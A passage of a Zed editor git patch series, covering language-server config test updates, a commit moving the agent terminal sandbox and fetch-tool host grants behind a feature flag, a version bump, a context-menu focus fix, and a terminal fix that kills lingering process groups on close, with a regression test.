+                ConfiguredLanguageServer::new_disabled("tailwindcss-language-server"),
+                ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
             ]
         );
 
@@ -1340,9 +1421,9 @@ mod test {
         assert_eq!(
             default_servers,
             &vec![
-                "!tailwindcss-language-server".to_string(),
-                "!eslint".to_string(),
-                REST_OF_LANGUAGE_SERVERS.to_string(),
+                ConfiguredLanguageServer::new_disabled("tailwindcss-language-server"),
+                ConfiguredLanguageServer::new_disabled("eslint"),
+                ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
             ]
         );
     }
@@ -1383,9 +1464,9 @@ mod test {
         base.merge_from(&user);
 
         let expected = vec![
-            "!typescript-language-server".to_string(),
-            "!vtsls".to_string(),
-            REST_OF_LANGUAGE_SERVERS.to_string(),
+            ConfiguredLanguageServer::new_disabled("typescript-language-server"),
+            ConfiguredLanguageServer::new_disabled("vtsls"),
+            ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
         ];
         assert_eq!(
             base.languages
@@ -1430,7 +1511,10 @@ mod test {
         let rust_servers = base.languages.0["Rust"].language_servers.as_ref().unwrap();
         assert_eq!(
             rust_servers,
-            &vec!["!eslint".to_string(), REST_OF_LANGUAGE_SERVERS.to_string(),]
+            &vec![
+                ConfiguredLanguageServer::new_disabled("eslint"),
+                ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
+            ]
         );
     }
 
@@ -1491,9 +1575,9 @@ mod test {
         assert_eq!(
             ts_servers,
             &vec![
-                "deno".to_string(),
-                "!vtsls".to_string(),
-                REST_OF_LANGUAGE_SERVERS.to_string(),
+                ConfiguredLanguageServer::new("deno"),
+                ConfiguredLanguageServer::new_disabled("vtsls"),
+                ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
             ]
         );
     }
@@ -1550,8 +1634,8 @@ mod test {
         assert_eq!(
             ts_servers,
             &vec![
-                "typescript-language-server".to_string(),
-                REST_OF_LANGUAGE_SERVERS.to_string(),
+                ConfiguredLanguageServer::new("typescript-language-server"),
+                ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
             ]
         );
     }

From 39bea4e56dcc2a0db2a401bea9c57771672638d4 Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Wed, 22 Jul 2026 22:39:21 +0000
Subject: [PATCH 642/772] agent: Temporarily remove sandbox feature (#61484)

see title

---

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: Mikayla Maki <mikayla.c.maki@gmail.com>
---
 crates/agent/src/sandboxing.rs                | 34 +++++++++-----
 crates/agent/src/tests/mod.rs                 |  4 ++
 crates/agent/src/thread.rs                    | 46 ++++++++++++++++---
 .../agent/src/tools/create_directory_tool.rs  |  2 +
 crates/agent/src/tools/fetch_tool.rs          |  9 +++-
 crates/feature_flags/src/flags.rs             | 17 +++++++
 6 files changed, 92 insertions(+), 20 deletions(-)

diff --git a/crates/agent/src/sandboxing.rs b/crates/agent/src/sandboxing.rs
index 90599fd6551c71..f36fe6f32b3884 100644
--- a/crates/agent/src/sandboxing.rs
+++ b/crates/agent/src/sandboxing.rs
@@ -5,9 +5,10 @@
 //! caller see the same answer (and so the `target_os` gate lives in one
 //! place instead of scattered across the agent crate).
 //!
-//! The current policy is: enabled iff the project is local, the platform has an
-//! integration, and the user has not persistently allowed unsandboxed execution
-//! (the `allow_unsandboxed` sandbox setting). Setting `allow_unsandboxed`
+//! The current policy is: enabled iff the user has the `sandboxing` feature
+//! flag turned on, the project is local, the platform has an integration, and
+//! the user has not persistently allowed unsandboxed execution (the
+//! `allow_unsandboxed` sandbox setting). Setting `allow_unsandboxed`
 //! persistently turns sandboxing off for the model-facing surface entirely:
 //! the plain (non-sandboxed) `terminal` tool is exposed and the system prompt
 //! omits the sandbox section, since every command would run without a wrap
@@ -18,12 +19,14 @@
 //!
 //! macOS (Seatbelt), Linux (Bubblewrap), and Windows (Bubblewrap via WSL)
 //! have real sandbox integrations; on platforms without one the per-command
-//! wrap is a no-op, so commands run with the agent's ambient permissions.
+//! wrap is a no-op, so commands run with the agent's ambient permissions even
+//! when the flag is on.
 //!
 //! Naming note: this module is about agent terminal sandboxing specifically.
 //! Other agent operations (e.g. file edits) are gated separately.
 
 use agent_settings::{AgentSettings, SandboxPermissions};
+use feature_flags::{FeatureFlagAppExt as _, SandboxingFeatureFlag};
 use gpui::App;
 use http_proxy::HostPattern;
 use project::Project;
@@ -184,19 +187,26 @@ pub fn settings_sandbox_policy(persistent: &SandboxPermissions) -> SandboxPolicy
 /// prompt in place, since the model is still operating in the sandbox model and
 /// only escaping individual commands (tracked in `ThreadSandboxGrants`).
 pub(crate) fn sandboxing_enabled_for_project(project: &Project, cx: &App) -> bool {
-    sandboxing_available_for_project(project)
+    sandboxing_available_for_project(project, cx)
         && !AgentSettings::get_global(cx)
             .sandbox_permissions
             .allow_unsandboxed
 }
 
-/// Whether sandboxing is *applicable* for this project at all — the project is
-/// local and the platform has a sandbox integration — independent of the
-/// persistent `allow_unsandboxed` setting. Used by the UI to distinguish
-/// "sandboxing isn't relevant here" (don't show the indicator) from "sandboxing
-/// is available but turned off in settings" (show it, struck out).
-pub(crate) fn sandboxing_available_for_project(project: &Project) -> bool {
-    project.is_local()
+/// Whether agent-run terminal commands should be wrapped in an OS-level
+/// sandbox for this process. See module docs for the policy.
+pub(crate) fn sandboxing_enabled(cx: &App) -> bool {
+    cx.has_flag::<SandboxingFeatureFlag>()
+}
+
+/// Whether sandboxing is *applicable* for this project at all — the feature is
+/// enabled, the project is local, and the platform has a sandbox integration —
+/// independent of the persistent `allow_unsandboxed` setting. Used by the UI to
+/// distinguish "sandboxing isn't relevant here" (don't show the indicator) from
+/// "sandboxing is available but turned off in settings" (show it, struck out).
+pub(crate) fn sandboxing_available_for_project(project: &Project, cx: &App) -> bool {
+    sandboxing_enabled(cx)
+        && project.is_local()
         && cfg!(any(
             target_os = "macos",
             target_os = "linux",
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 22d05feb8802c1..fc5ef187e07976 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -7302,6 +7302,7 @@ async fn test_fetch_tool_allow_rule_skips_confirmation(cx: &mut TestAppContext)
 /// A fetch to a host that hasn't been granted network access prompts for the
 /// shared per-host sandbox grant, even when the tool itself is allowed.
 #[gpui::test]
+#[ignore]
 async fn test_fetch_tool_prompts_for_ungranted_host(cx: &mut TestAppContext) {
     init_test(cx);
 
@@ -7389,6 +7390,7 @@ async fn test_fetch_tool_granted_host_skips_prompt(cx: &mut TestAppContext) {
 
 /// Loopback / IP-literal hosts can't be granted individually, so without
 /// unsandboxed access a fetch to them is refused with guidance to grant it.
+#[ignore]
 #[gpui::test]
 async fn test_fetch_tool_refuses_loopback_without_unsandboxed(cx: &mut TestAppContext) {
     init_test(cx);
@@ -7478,6 +7480,7 @@ async fn test_fetch_tool_unsandboxed_lifts_restrictions(cx: &mut TestAppContext)
 /// is refused just like a direct loopback fetch. This is the redirect variant of
 /// the SSRF protection — the approved domain can't be used to bounce the request
 /// onto the local machine.
+#[ignore]
 #[gpui::test]
 async fn test_fetch_tool_refuses_redirect_to_loopback(cx: &mut TestAppContext) {
     init_test(cx);
@@ -7536,6 +7539,7 @@ async fn test_fetch_tool_refuses_redirect_to_loopback(cx: &mut TestAppContext) {
 /// A granted host that redirects to a *different*, ungranted host triggers a
 /// fresh per-host authorization prompt for the redirect target — the redirect is
 /// not silently followed to a host the user never approved.
+#[ignore]
 #[gpui::test]
 async fn test_fetch_tool_reauthorizes_redirect_to_new_host(cx: &mut TestAppContext) {
     init_test(cx);
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 585e9eb82ae375..b731339b4f6d8d 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -1846,12 +1846,12 @@ impl Thread {
         sandboxing_enabled_for_project(self.project.read(cx), cx)
     }
 
-    /// Whether sandboxing is *applicable* for this thread's project (local
-    /// project, supported platform), regardless of whether it's been turned off
-    /// in settings. The UI shows the sandbox indicator whenever this is true,
-    /// drawing it struck-out when sandboxing is disabled.
+    /// Whether sandboxing is *applicable* for this thread's project (feature on,
+    /// local project, supported platform), regardless of whether it's been
+    /// turned off in settings. The UI shows the sandbox indicator whenever this
+    /// is true, drawing it struck-out when sandboxing is disabled.
     pub fn sandboxing_available(&self, cx: &App) -> bool {
-        sandboxing_available_for_project(self.project.read(cx))
+        sandboxing_available_for_project(self.project.read(cx), cx)
     }
 
     /// The directory subtrees the sandbox always grants write access to for this
@@ -3975,15 +3975,47 @@ impl Thread {
         let model = self
             .model()
             .ok_or_else(|| anyhow!(NoModelConfiguredError))?;
+        let sandboxing_enabled = crate::sandboxing::sandboxing_enabled(cx);
         let tools = if let Some(turn) = self.running_turn.as_ref() {
             turn.tools
                 .iter()
                 .filter_map(|(tool_name, tool)| {
                     log::trace!("Including tool: {}", tool_name);
+                    let mut description = tool.description().to_string();
+                    let mut schema = tool.input_schema(model.tool_input_format()).log_err()?;
+                    // TEMPORARY (sandboxing feature flag): with the flag off,
+                    // the fetch and create_directory descriptions/schemas must
+                    // not advertise sandbox-dependent behavior (host grants,
+                    // out-of-project creation via the `reason` field), since
+                    // the corresponding runtime paths are disabled. Restore
+                    // the pre-sandboxing model-facing surface here rather than
+                    // forking the tools; delete this when the flag is removed
+                    // again.
+                    if !sandboxing_enabled {
+                        if tool_name.as_ref() == FetchTool::NAME {
+                            description =
+                                "Fetches a URL and returns the content as Markdown.".to_string();
+                        } else if tool_name.as_ref() == CreateDirectoryTool::NAME {
+                            description = "Creates a new directory at the specified path within \
+                                the project. Returns confirmation that the directory was \
+                                created.\n\nThis tool creates a directory and all necessary \
+                                parent directories. It should be used whenever you need to \
+                                create new directories within the project.\nThe only supported \
+                                path outside the project is `~/.agents/skills` or a descendant, \
+                                for global agent skills."
+                                .to_string();
+                            if let Some(properties) = schema
+                                .get_mut("properties")
+                                .and_then(|value| value.as_object_mut())
+                            {
+                                properties.remove("reason");
+                            }
+                        }
+                    }
                     Some(LanguageModelRequestTool::function(
                         tool_name.to_string(),
-                        tool.description().to_string(),
-                        tool.input_schema(model.tool_input_format()).log_err()?,
+                        description,
+                        schema,
                         tool.supports_input_streaming(),
                     ))
                 })
diff --git a/crates/agent/src/tools/create_directory_tool.rs b/crates/agent/src/tools/create_directory_tool.rs
index 22918c43154857..c8f2943b1359f1 100644
--- a/crates/agent/src/tools/create_directory_tool.rs
+++ b/crates/agent/src/tools/create_directory_tool.rs
@@ -695,6 +695,7 @@ mod tests {
     /// on approval, creates the *specific* new directory (not its broad parent).
     #[cfg(any(target_os = "linux", target_os = "macos"))]
     #[gpui::test]
+    #[ignore]
     async fn test_create_directory_out_of_project_creates_and_grants(cx: &mut TestAppContext) {
         init_test(cx);
 
@@ -752,6 +753,7 @@ mod tests {
     /// trace on the filesystem.
     #[cfg(any(target_os = "linux", target_os = "macos"))]
     #[gpui::test]
+    #[ignore]
     async fn test_create_directory_out_of_project_denied_cleans_up(cx: &mut TestAppContext) {
         init_test(cx);
 
diff --git a/crates/agent/src/tools/fetch_tool.rs b/crates/agent/src/tools/fetch_tool.rs
index e08d7dbc59ebf1..028f1279d41ccc 100644
--- a/crates/agent/src/tools/fetch_tool.rs
+++ b/crates/agent/src/tools/fetch_tool.rs
@@ -281,7 +281,14 @@ impl AgentTool for FetchTool {
             // fetch to a host the user never approved. We disable the HTTP
             // client's own redirect following and re-run the grant for each hop
             // before requesting it.
-            let unsandboxed = cx.update(|cx| event_stream.unsandboxed_access_granted(cx));
+            //
+            // When the sandboxing feature flag is off the terminal isn't
+            // sandboxed either, so gating fetch by host would provide no
+            // isolation; skip it entirely (the pre-sandboxing behavior).
+            let unsandboxed = cx.update(|cx| {
+                !crate::sandboxing::sandboxing_enabled(cx)
+                    || event_stream.unsandboxed_access_granted(cx)
+            });
 
             let mut current_url = input.url.clone();
             let mut redirects = 0;
diff --git a/crates/feature_flags/src/flags.rs b/crates/feature_flags/src/flags.rs
index f9db079a4917e4..de6f03f1c672d3 100644
--- a/crates/feature_flags/src/flags.rs
+++ b/crates/feature_flags/src/flags.rs
@@ -118,3 +118,20 @@ impl FeatureFlag for AutoWatchFeatureFlag {
     type Value = PresenceFlag;
 }
 register_feature_flag!(AutoWatchFeatureFlag);
+
+/// Wraps agent-run terminal commands in an OS-level sandbox where supported,
+/// and applies the shared per-host network grants to the `fetch` tool and the
+/// out-of-project write grants to the `create_directory` tool. When off,
+/// these tools run with the agent's full ambient permissions, as they always
+/// have.
+pub struct SandboxingFeatureFlag;
+
+impl FeatureFlag for SandboxingFeatureFlag {
+    const NAME: &'static str = "sandboxing";
+    type Value = PresenceFlag;
+
+    fn enabled_for_staff() -> bool {
+        false
+    }
+}
+register_feature_flag!(SandboxingFeatureFlag);

From aba12fc8a0fe44a0742acc0d096e843d07385962 Mon Sep 17 00:00:00 2001
From: "zed-zippy[bot]" <234243425+zed-zippy[bot]@users.noreply.github.com>
Date: Wed, 22 Jul 2026 23:21:07 +0000
Subject: [PATCH 643/772] Bump Zed to v1.14.0 (#61488)

Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 Cargo.lock            | 2 +-
 crates/zed/Cargo.toml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 417b6eda0818c5..c231723525f618 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -23157,7 +23157,7 @@ dependencies = [
 
 [[package]]
 name = "zed"
-version = "1.13.0"
+version = "1.14.0"
 dependencies = [
  "acp_thread",
  "acp_tools",
diff --git a/crates/zed/Cargo.toml b/crates/zed/Cargo.toml
index 346f2b4a83c92f..d050b61d29f78d 100644
--- a/crates/zed/Cargo.toml
+++ b/crates/zed/Cargo.toml
@@ -2,7 +2,7 @@
 description = "The fast, collaborative code editor."
 edition.workspace = true
 name = "zed"
-version = "1.13.0"
+version = "1.14.0"
 publish.workspace = true
 license = "GPL-3.0-or-later"
 authors = ["Zed Team <hi@zed.dev>"]

From 40dc154a7cc28270d2319873b0881ef053dc22b9 Mon Sep 17 00:00:00 2001
From: John <14882753+18o@users.noreply.github.com>
Date: Thu, 23 Jul 2026 03:38:00 +0000
Subject: [PATCH 644/772] Fix first LSP server item flickering and staying
 highlighted when hovering between multiple language server entries in the
 status bar menu (#61400)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- When a submenu is open in a ContextMenu (e.g., an LSP server entry in
the status bar menu), focus moves from the main menu to the
submenu entity. Hovering over a different submenu trigger calls
`on_hover(true)` which runs `window.focus()` to return focus to the main
menu. This fires `on_focus_in`, which runs `select_toggled_or_first` →
`select_first`, re-selecting the first item. The same issue occurs
in `on_hover(false)` when the mouse leaves a trigger with an open
submenu.

## Solution

- Add a `suppress_focus_selection` flag to `ContextMenu`. Before each
`window.focus()` call in `on_hover` handlers, set the flag to
`true`. The `on_focus_in` callback checks this flag and skips
auto-selection when focus is returning from submenu interaction. The
flag is
reset to `false` after each `on_focus_in` invocation.

## Testing

- Tested manually by opening the LSP status bar menu with multiple
running language servers and hovering between server entries. The
first item no longer flickers or stays highlighted after hovering over
other items.

## Showcase
### before fixed


https://github.com/user-attachments/assets/26efb133-fb7e-4dbe-88b7-88d510dfd3a4



### after fixed


https://github.com/user-attachments/assets/7081c07d-d7f6-4a35-abe3-486bfba8591f


## Release Notes:
- Fixed a bug where the first LSP server item would flicker and stay
highlighted when hovering between multiple language server entries in
the status bar menu.
---
 crates/ui/src/components/context_menu.rs | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/crates/ui/src/components/context_menu.rs b/crates/ui/src/components/context_menu.rs
index 3736a2e32009fb..3eedf11bc14e50 100644
--- a/crates/ui/src/components/context_menu.rs
+++ b/crates/ui/src/components/context_menu.rs
@@ -233,6 +233,11 @@ pub struct ContextMenu {
     submenu_trigger_bounds: Rc<Cell<Option<Bounds<Pixels>>>>,
     submenu_trigger_mouse_down: bool,
     ignore_blur_until: Option<Instant>,
+    /// When set to true, the next on_focus_in callback will not automatically
+    /// select an item. This prevents a visual flash where a submenu close in
+    /// on_hover(false) returns focus to the main menu and on_focus_in
+    /// re-selects the first item before the next on_hover(true) clears it.
+    suppress_focus_selection: bool,
 }
 
 #[derive(Copy, Clone, PartialEq, Eq)]
@@ -303,9 +308,10 @@ impl ContextMenu {
         // menus we prefer the currently-checked item. We only do this when
         // nothing is selected yet so we don't override an existing selection.
         cx.on_focus_in(&focus_handle, window, |this, window, cx| {
-            if this.selected_index.is_none() {
+            if this.selected_index.is_none() && !this.suppress_focus_selection {
                 this.select_toggled_or_first(window, cx);
             }
+            this.suppress_focus_selection = false;
         })
         .detach();
 
@@ -333,6 +339,7 @@ impl ContextMenu {
                 submenu_trigger_bounds: Rc::new(Cell::new(None)),
                 submenu_trigger_mouse_down: false,
                 ignore_blur_until: None,
+                suppress_focus_selection: false,
             },
             window,
             cx,
@@ -419,6 +426,7 @@ impl ContextMenu {
                     submenu_trigger_bounds: Rc::new(Cell::new(None)),
                     submenu_trigger_mouse_down: false,
                     ignore_blur_until: None,
+                    suppress_focus_selection: false,
                 },
                 window,
                 cx,
@@ -488,6 +496,7 @@ impl ContextMenu {
                 submenu_trigger_bounds: Rc::new(Cell::new(None)),
                 submenu_trigger_mouse_down: false,
                 ignore_blur_until: None,
+                suppress_focus_selection: false,
             },
             window,
             cx,
@@ -1324,6 +1333,7 @@ impl ContextMenu {
                 submenu_trigger_bounds: Rc::new(Cell::new(None)),
                 submenu_trigger_mouse_down: false,
                 ignore_blur_until: None,
+                suppress_focus_selection: false,
             };
 
             menu = (builder)(menu, window, cx);
@@ -1649,6 +1659,7 @@ impl ContextMenu {
 
                         if *hovered {
                             this.clear_selected();
+                            this.suppress_focus_selection = true;
                             window.focus(&this.focus_handle.clone(), cx);
                             this.hover_target = HoverTarget::MainMenu;
                             this.submenu_safety_threshold_x = Some(mouse_pos.x - px(50.0));
@@ -1686,6 +1697,7 @@ impl ContextMenu {
                             {
                                 this.close_submenu(false, cx);
                                 this.clear_selected();
+                                this.suppress_focus_selection = true;
                                 window.focus(&this.focus_handle.clone(), cx);
                                 cx.notify();
                             }
@@ -1973,6 +1985,7 @@ impl ContextMenu {
                         item.on_hover(cx.listener(move |this, hovered, window, cx| {
                             if *hovered {
                                 this.clear_selected();
+                                this.suppress_focus_selection = true;
                                 window.focus(&this.focus_handle.clone(), cx);
 
                                 if let SubmenuState::Open(open_submenu) = &this.submenu_state {

From 6297c88f428a99741a7bfb33f31dfe98123bb8e4 Mon Sep 17 00:00:00 2001
From: Finn Eitreim <48069764+feitreim@users.noreply.github.com>
Date: Thu, 23 Jul 2026 03:47:47 +0000
Subject: [PATCH 645/772] terminal: Actually close process groups when the
 terminal is closed (#61467)

# Objective

Closes #47412

Currently, processes that ignore SIGHUP/SIGTERM will not be killed when
the terminal is closed or Zed is closed.

## Solution

We need to follow up on the processes to ensure that they have been
properly killed BEFORE zed closes fully. We send SIGTERM then 100ms
later send SIGKILL, this gives programs some time to exit gracefully
before being SIGKILL'd.

## Testing

I tested it by both closing the terminal pane and closing zed
completely, both worked. There is a new test added as well. The best way
to test it is with the reproduction in this comment:

https://github.com/zed-industries/zed/issues/47412#issuecomment-4596563655

I only tested this on MacOS 27. It might be worth testing on linux, but
also mac/linux behavior here should be quite similar. Windows behavior
as well should be unchanged but could be worth testing.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments

Okay there is an unsafe block in this PR, but its just being moved from
one location to another, and it didn't originally have a comment, I
assume because its just a libc call so its pretty clear.

- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

Video showcasing the new behavior:


https://github.com/user-attachments/assets/b2b8cb0c-0648-41b4-b940-91c466aeaab3



---

Release Notes:

- Terminal: Prevents processes from being left alive when the terminal
is closed.
---
 crates/terminal/src/pty_info.rs |  83 +++++++++++++---
 crates/terminal/src/terminal.rs | 164 ++++++++++++++++++++++++++++++--
 2 files changed, 227 insertions(+), 20 deletions(-)

diff --git a/crates/terminal/src/pty_info.rs b/crates/terminal/src/pty_info.rs
index 8e981432484531..8808ef5c73e3a7 100644
--- a/crates/terminal/src/pty_info.rs
+++ b/crates/terminal/src/pty_info.rs
@@ -72,6 +72,71 @@ pub(crate) struct ProcessInfo {
     pub(crate) argv: Vec<String>,
 }
 
+/// Process (group) ids of a terminal's shell and foreground job, snapshotted
+/// while the PTY master is still open: reading the foreground process group
+/// requires `tcgetpgrp` on the PTY fd, which the event loop closes when the
+/// terminal shuts down, so these ids must be captured before shutdown and
+/// signalled afterwards.
+#[derive(Clone, Copy)]
+pub(crate) struct TerminalProcessIds {
+    #[cfg_attr(not(unix), allow(dead_code))]
+    foreground: Option<Pid>,
+    #[cfg_attr(not(unix), allow(dead_code))]
+    child: Pid,
+}
+
+#[cfg(unix)]
+impl TerminalProcessIds {
+    /// The spawned child (the shell) leads its own process group, but under
+    /// job control a foreground job runs in a separate process group that
+    /// `killpg` on the shell's group never reaches, so both are signalled
+    /// (see #47412).
+    fn process_group_ids(self) -> impl Iterator<Item = i32> {
+        std::iter::once(self.child)
+            .chain(
+                self.foreground
+                    .filter(|foreground| *foreground != self.child),
+            )
+            .map(|pid| pid.as_u32() as i32)
+            // `killpg(0, ...)` signals the caller's own process group, i.e.
+            // Zed itself, so never let a zero id (or a negative one from an
+            // implausibly large pid wrapping the cast) through.
+            .filter(|process_group_id| *process_group_id > 0)
+    }
+
+    /// Returns whether at least one process group was signalled successfully;
+    /// `killpg` failing with `ESRCH` (the group already exited) is expected and
+    /// reported as an unsuccessful signal.
+    fn signal_process_groups(&self, signal: i32) -> bool {
+        let mut signalled = false;
+        for process_group_id in self.process_group_ids() {
+            signalled |= unsafe { libc::killpg(process_group_id, signal) } == 0;
+        }
+        signalled
+    }
+
+    pub(crate) fn terminate(&self) -> bool {
+        self.signal_process_groups(libc::SIGTERM)
+    }
+
+    pub(crate) fn kill(&self) -> bool {
+        self.signal_process_groups(libc::SIGKILL)
+    }
+}
+
+#[cfg(not(unix))]
+impl TerminalProcessIds {
+    pub(crate) fn terminate(&self) -> bool {
+        false
+    }
+
+    // Windows has no process groups to escalate on; killing the child relies
+    // on [`PtyProcessInfo::kill_child_process`] instead.
+    pub(crate) fn kill(&self) -> bool {
+        false
+    }
+}
+
 /// Fetches Zed-relevant Pseudo-Terminal (PTY) process information
 pub(crate) struct PtyProcessInfo {
     system: RwLock<System>,
@@ -118,6 +183,13 @@ impl PtyProcessInfo {
         &self.pid_getter
     }
 
+    pub(crate) fn capture_process_ids(&self) -> TerminalProcessIds {
+        TerminalProcessIds {
+            foreground: self.pid_getter.pid(),
+            child: self.pid_getter.fallback_pid(),
+        }
+    }
+
     fn refresh(&self) -> Option<MappedRwLockReadGuard<'_, Process>> {
         let pid = self.pid_getter.pid()?;
         let fallback_pid = self.pid_getter.fallback_pid();
@@ -163,17 +235,6 @@ impl PtyProcessInfo {
         self.get_child().is_some_and(|process| process.kill())
     }
 
-    #[cfg(unix)]
-    pub(crate) fn terminate_child_process(&self) -> bool {
-        let pid = self.pid_getter.fallback_pid();
-        unsafe { libc::killpg(pid.as_u32() as i32, libc::SIGTERM) == 0 }
-    }
-
-    #[cfg(not(unix))]
-    pub(crate) fn terminate_child_process(&self) -> bool {
-        false
-    }
-
     fn load(&self) -> Option<ProcessInfo> {
         let process = self.refresh()?;
         let cwd = process.cwd().map_or(PathBuf::new(), |p| p.to_owned());
diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index e41a2dbe7bb36b..7a3f0795f77e23 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -39,6 +39,7 @@ use std::{
     borrow::Cow,
     cmp::{self, min},
     fmt::{self, Display, Formatter},
+    future::Future,
     ops::{BitOr, BitOrAssign, Deref, Range as StdRange},
     path::{Path, PathBuf},
     process::ExitStatus,
@@ -74,6 +75,33 @@ use crate::alacritty::{
 use crate::mappings::colors::to_vte_rgb;
 use crate::mappings::keys::to_esc_str;
 
+/// How long the shell and its foreground job get to exit gracefully after a
+/// closed terminal sends SIGHUP/SIGTERM, before being SIGKILLed. Must stay
+/// comfortably below [`gpui::SHUTDOWN_TIMEOUT`] so the escalation also
+/// completes when the whole app is quitting.
+const PROCESS_KILL_GRACE_PERIOD: Duration = Duration::from_millis(100);
+
+/// Sends SIGTERM to the terminal's shell and foreground process groups, and
+/// returns a future that SIGKILLs whatever survives [`PROCESS_KILL_GRACE_PERIOD`].
+/// Closing the PTY only delivers SIGHUP, and a foreground job that ignores
+/// SIGHUP/SIGTERM would otherwise be orphaned (#47412).
+///
+/// Must be called while the PTY master is still open (i.e. before
+/// `pty_tx.shutdown()`): reading the foreground process group requires
+/// `tcgetpgrp` on the PTY fd.
+fn terminate_processes_with_grace_period(
+    info: Arc<PtyProcessInfo>,
+    executor: BackgroundExecutor,
+) -> impl Future<Output = ()> {
+    let process_ids = info.capture_process_ids();
+    process_ids.terminate();
+    async move {
+        executor.timer(PROCESS_KILL_GRACE_PERIOD).await;
+        process_ids.kill();
+        info.kill_child_process();
+    }
+}
+
 /// Process-wide flag set by headless hosts (e.g. the eval CLI) that have no
 /// controlling TTY. In such sandboxes PTY allocation and acquiring a
 /// controlling terminal fail with `ENOTTY`, so when this is set terminals run
@@ -1313,6 +1341,32 @@ impl TerminalBuilder {
     }
 
     pub fn subscribe(mut self, cx: &Context<Terminal>) -> Terminal {
+        // `Terminal::drop` escalates to SIGKILL on a detached background task,
+        // which never gets to run when the whole app quits: the process exits
+        // as soon as the `on_app_quit` futures resolve. Perform the same
+        // escalation in a quit observer, whose future keeps the app alive for
+        // the grace period, so that processes ignoring SIGHUP/SIGTERM don't
+        // outlive Zed (#47412). The subscription can't be stored on `Terminal`
+        // (`Subscription` is not `Send`, and `TerminalBuilder` is built on a
+        // background thread), so its lifetime is tied to the entity's release
+        // instead.
+        let app_quit_subscription = cx.on_app_quit(|terminal, cx| {
+            let kill_processes = match &terminal.terminal_type {
+                TerminalType::Pty { info, .. } => Some(terminate_processes_with_grace_period(
+                    info.clone(),
+                    cx.background_executor().clone(),
+                )),
+                TerminalType::DisplayOnly => None,
+            };
+            async move {
+                if let Some(kill_processes) = kill_processes {
+                    kill_processes.await;
+                }
+            }
+        });
+        cx.on_release(move |_, _| drop(app_quit_subscription))
+            .detach();
+
         //Event loop
         self.terminal.event_loop_task = cx.spawn(async move |terminal, cx| {
             while let Some(event) = self.events_rx.next().await {
@@ -3126,16 +3180,10 @@ impl Drop for Terminal {
         if let TerminalType::Pty { pty_tx, info } =
             std::mem::replace(&mut self.terminal_type, TerminalType::DisplayOnly)
         {
+            let kill_processes =
+                terminate_processes_with_grace_period(info, self.background_executor.clone());
             pty_tx.shutdown();
-            info.terminate_child_process();
-
-            let timer = self.background_executor.timer(Duration::from_millis(100));
-            self.background_executor
-                .spawn(async move {
-                    timer.await;
-                    info.kill_child_process();
-                })
-                .detach();
+            self.background_executor.spawn(kill_processes).detach();
         }
     }
 }
@@ -4880,6 +4928,104 @@ mod tests {
         );
     }
 
+    #[cfg(unix)]
+    fn parse_pid_marker(content: &str, prefix: &str, suffix: &str) -> i32 {
+        content
+            .split(prefix)
+            .nth(1)
+            .and_then(|rest| rest.split(suffix).next())
+            .and_then(|pid| pid.trim().parse().ok())
+            .unwrap_or_else(|| {
+                panic!("failed to parse pid between {prefix:?} and {suffix:?} from: {content}")
+            })
+    }
+
+    /// Regression test for <https://github.com/zed-industries/zed/issues/47412>:
+    /// closing a terminal must not orphan processes that ignore SIGHUP and
+    /// SIGTERM. The shell ignores both signals and the `sleep`s inherit the
+    /// ignored dispositions, so only the SIGKILL escalation can terminate them.
+    ///
+    /// Two process groups are covered: the background `sleep` is spawned before
+    /// `set -m` and stays in the shell's own group, while job control places
+    /// the foreground job (an inner shell that `exec`s `sleep`) in a separate
+    /// group that killing the shell's group never reaches — it is only found
+    /// via the foreground-group capture (`tcgetpgrp`).
+    #[cfg(unix)]
+    #[gpui::test]
+    async fn test_dropping_terminal_kills_processes_ignoring_sighup_and_sigterm(
+        cx: &mut TestAppContext,
+    ) {
+        cx.executor().allow_parking();
+
+        let (terminal, _completion_rx) = build_test_terminal_with_arguments(
+            cx,
+            "/bin/sh".to_string(),
+            vec![
+                "-c".to_string(),
+                "trap '' HUP TERM; sleep 300 & echo bg_marker_${!}_bgend; set -m; \
+                 /bin/sh -c 'echo fg_marker_$$_fgend; exec sleep 300'"
+                    .to_string(),
+            ],
+        )
+        .await;
+
+        assert_content_eventually(&terminal, "_fgend", cx).await;
+        let content = terminal.update(cx, |term, _| term.get_content());
+        let background_sleep_pid = parse_pid_marker(&content, "bg_marker_", "_bgend");
+        let foreground_sleep_pid = parse_pid_marker(&content, "fg_marker_", "_fgend");
+
+        let shell_pid = terminal.update(cx, |terminal, _| match &terminal.terminal_type {
+            TerminalType::Pty { info, .. } => info.pid_getter().fallback_pid().as_u32() as i32,
+            TerminalType::DisplayOnly => panic!("expected a PTY-backed terminal"),
+        });
+
+        for pid in [background_sleep_pid, foreground_sleep_pid] {
